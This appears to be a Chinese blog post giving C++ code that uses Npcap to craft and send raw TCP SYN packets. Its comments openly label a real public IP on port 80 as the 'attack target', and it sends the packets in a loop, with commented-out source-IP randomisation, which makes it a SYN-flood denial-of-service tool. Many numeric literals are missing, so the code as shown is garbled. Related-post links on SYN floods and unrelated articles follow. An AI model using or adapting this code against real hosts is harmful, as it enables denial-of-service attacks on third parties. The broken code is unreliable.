Npcap.例子(raw tcp syn)
1、来自:winpcap实现syn攻击 - 125096 - CSDN博客.html(https://blog.csdn.net/qq125096885/article/details/51784524)
2、我的代码:(代码 用Npcap来跑,基本不用修改)(Win7x64、vs2017、使用 x86编译的Debug版本)
- // Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
- //
- #include <iostream>
- #pragma warning(disable : 4996)
- //int main()
- //{
- // std::cout << "Hello World!\n";
- //}
- //#define _W64
- //#define HAVE_REMOTE
- #include<stdio.h>
- #include<pcap.h>
- #include<winsock2.h>
- #include <time.h>
- //#include "remote-ext.h"
- #pragma comment(lib,"wpcap.lib")
- #pragma comment(lib,"WS2_32.lib")
- #pragma pack(push,1)
- typedef struct _TCP_SYN
- {
- unsigned char DstMAC[]; // 目的mac地址
- unsigned char SrcMAC[]; // 源mac地址
- unsigned char OtherData[];
- unsigned short Header_ChechSum; // 校验和
- unsigned int SrcIP; // Source IP address
- unsigned int DstIP; // Destination IP address
- unsigned short SrcPort; // Source IP Port
- unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000
- unsigned char Ohters[];
- unsigned short pak_checksum;
- unsigned char OtherLast[];
- }TCP_SYN, *PTCP_SYN;
- #pragma pack(pop)
- unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
- "\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
- "\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
- "\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
- "\x04\x02";
- // clac the header's check sum
- unsigned short checksum(unsigned short *buffer, int size)
- {
- unsigned long cksum = ;
- while (size > )
- {
- cksum += *buffer++;
- size -= sizeof(unsigned short);
- }
- if (size)
- {
- cksum += *(unsigned char*)buffer;
- }
- cksum = (cksum >> ) + (cksum & 0xffff);
- cksum += (cksum >> );
- return (unsigned short)(~cksum);
- }
- int main(int argc, char* argv[])
- {
- pcap_if_t *alldevs;
- pcap_if_t *seldev;
- pcap_t *fp;
- char errbuf[PCAP_ERRBUF_SIZE];
- srand(time());
- /* 获取本机设备列表 */
- if (pcap_findalldevs(&alldevs, errbuf) == -)
- {
- fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
- exit();
- }
- // 找到一个有ip的就当有连网的网卡了
- for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
- {
- pcap_addr* pcapaddr = NULL;
- for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
- {
- //if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
- //{
- // break;
- //}
- printf("seldev->name : %s\n", seldev->name);
- for (int i = ; i < ; i++)
- printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
- printf("\n");
- //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
- if ((UCHAR)pcapaddr->addr->sa_data[] == && (UCHAR)pcapaddr->addr->sa_data[] == )
- {
- printf("will break;\n");
- break;
- }
- }
- if (pcapaddr != NULL)
- break;
- printf("\n");
- }
- if (seldev == NULL)
- {
- fprintf(stderr, "Can not find network!\n");
- exit();
- }
- printf("seldev->name : %d\n", seldev->name);
- for (int i = ; i < ; i++)
- printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
- printf("\n");
- /* 打开这个输出设备 */
- if ((fp = pcap_open(seldev->name, // 设备名
- , // 要捕获的部分 (只捕获前100个字节)
- PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
- , // 读超时时间
- NULL, // 远程机器验证
- errbuf // 错误缓冲
- )) == NULL)
- {
- fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
- return -;
- }
- // 修改源MAC、IP地址 , 并修改首部校验和
- PTCP_SYN SynData = (PTCP_SYN)bufData;
- while ()
- {
- //memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
- memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
- memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );// 04-f9-38-a6-d7-cb
- SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
- SynData->DstPort = htons(); // 目标端口80
- SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
- SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生
- SynData->Header_ChechSum = ;
- SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
- // printf("%d\n", SynData->Header_ChechSum);
- /* 发送数据包 */
- // (wireshark 黑底红字为 校验和错误 的包).
- if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
- {
- fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
- return -;
- }
- system("pause");
- //break;
- }
- /* 释放设备列表 */
- pcap_freealldevs(alldevs);
- return ;
- }
3、
4、
5、
Npcap.例子(raw tcp syn)的更多相关文章
- 扯谈网络编程之Tcp SYN flood洪水攻击
简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...
- TCP SYN flood洪水攻击原理和防御破解
简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...
- TCP SYN扫描学习笔记
1.TCP SYN包扫描主机状态的原理:tcp协议规定,当目标主机收到一个tcp syn 包时,若目标主机处于开放状态,会返回给源主机一个tcp ack 包(目的端口开放),或者向源主机发送一个tcp ...
- Windows下C语言的Socket编程例子(TCP和UDP)
原文:Windows下C语言的Socket编程例子(TCP和UDP) 刚刚学windows编程,所以想写学习笔记,这是一个简单的Socket程序例子,开发环境是vc6: 首先是TCP server端: ...
- [转] 3个学习Socket编程的简单例子:TCP Server/Client, Select
以前都是采用ACE的编写网络应用,最近由于工作需要,需要直接只用socket接口编写CS的代码,重新学习这方面的知识,给出自己所用到的3个简单例子,都是拷贝别人的程序.如果你能完全理解这3个例子,估计 ...
- C#Winform窗体实现服务端和客户端通信例子(TCP/IP)
Winform窗体实现服务端和客户端通信的例子,是参考这个地址 http://www.cnblogs.com/longwu/archive/2011/08/25/2153636.html 进行了一些异 ...
- 170410、java Socket通信的简单例子(TCP)
服务端代码: package com.bobohe.socket; import java.io.*; import java.net.*; import java.applet.Applet; pu ...
- Npcap.资料
1.ZC:Npcap 是 WinPcap停更之后的继承者.我尝试了 Win7中发送raw tcp syn,它的代码和 使用WinPcap的基本一致. Developing software with ...
- TCP:三次握手,URG、ACK、PSH、RST、SYN、FIN 含义
http://blog.csdn.net/wudiyi815/article/details/8505726 TCP:SYN ACK FIN RST PSH URG简析 三次握手Three-way ...
随机推荐
- SQL数据库调优
1.使用With As做数据库递归,调优树形表结构 例如:设计表结构简化如:ID.ParentID.Name:这里的ParentID就是这个表本身的某个ID WITH cte AS ( UNION A ...
- Spring AOP的作用,动态代理模式
AOP即面向切面编程.AOP是基于代理模式的. 代理模式: 当我们需要修改一个类,在类中加入代码时,为了不破坏这个类的封装性.可以使用代理模式,建立一个代理类. 比如:修改需求,在调用UserCont ...
- mongodb 开发规范
一.命名规则 1.数据库命名规则 数据库名可以是满足以下条件的任意UTF-8字符串: (1)不能是空字符串(”") : (2)不能含有”(空格)...$./..和(空字符): (3)应全部小 ...
- jsp中submit的连接属性是什么?
把注册的按钮改成button:<form action="dologin.jsp" method="post">用户<input type=& ...
- 2019-2020 ICPC, Asia Jakarta Regional Contest
目录 Contest Info Solutions A. Copying Homework C. Even Path E. Songwriter G. Performance Review H. Tw ...
- PHP全栈学习笔记24
PHP in_array() 函数 定义和用法 in_array() 函数搜索数组中是否存在指定的值. type 参数被设置为 TRUE,则搜索区分大小写. 语法 in_array(search,ar ...
- Lua 常用函数 一
lua_getallocf lua_Alloc lua_getallocf (lua_State *L, void **ud); 返回给定状态机的内存分配器函数.如果 ud 不是 NULL ,Lua ...
- js new call apply bind 的 原理
new new 做了什么事?1. 以 Object.protoype 为原型创建一个新对象 2. 以新对象为 this,执行函数的 [[call]] 3. 如果 [[call]] 的返回值是对象,那么 ...
- js的老生代垃圾回收
推荐阅读:<JS 闯关记>之垃圾回收和内存管理 常见的垃圾回收有2种策略:标记清除 和 引用计数 标记清除 会遍历堆中所有的对象,然后标记活的对象,在标记完成后,销毁所有没有被标记的对象. ...
- [bzoj 5332][SDOI2018]旧试题
传送门 Description \[ \sum_{i=1}^A\sum_{j=1}^B\sum_{k=1}^Cd(ijk) (\mathrm{mod\:} 10^9+7) \] 其中 \(d(ijk) ...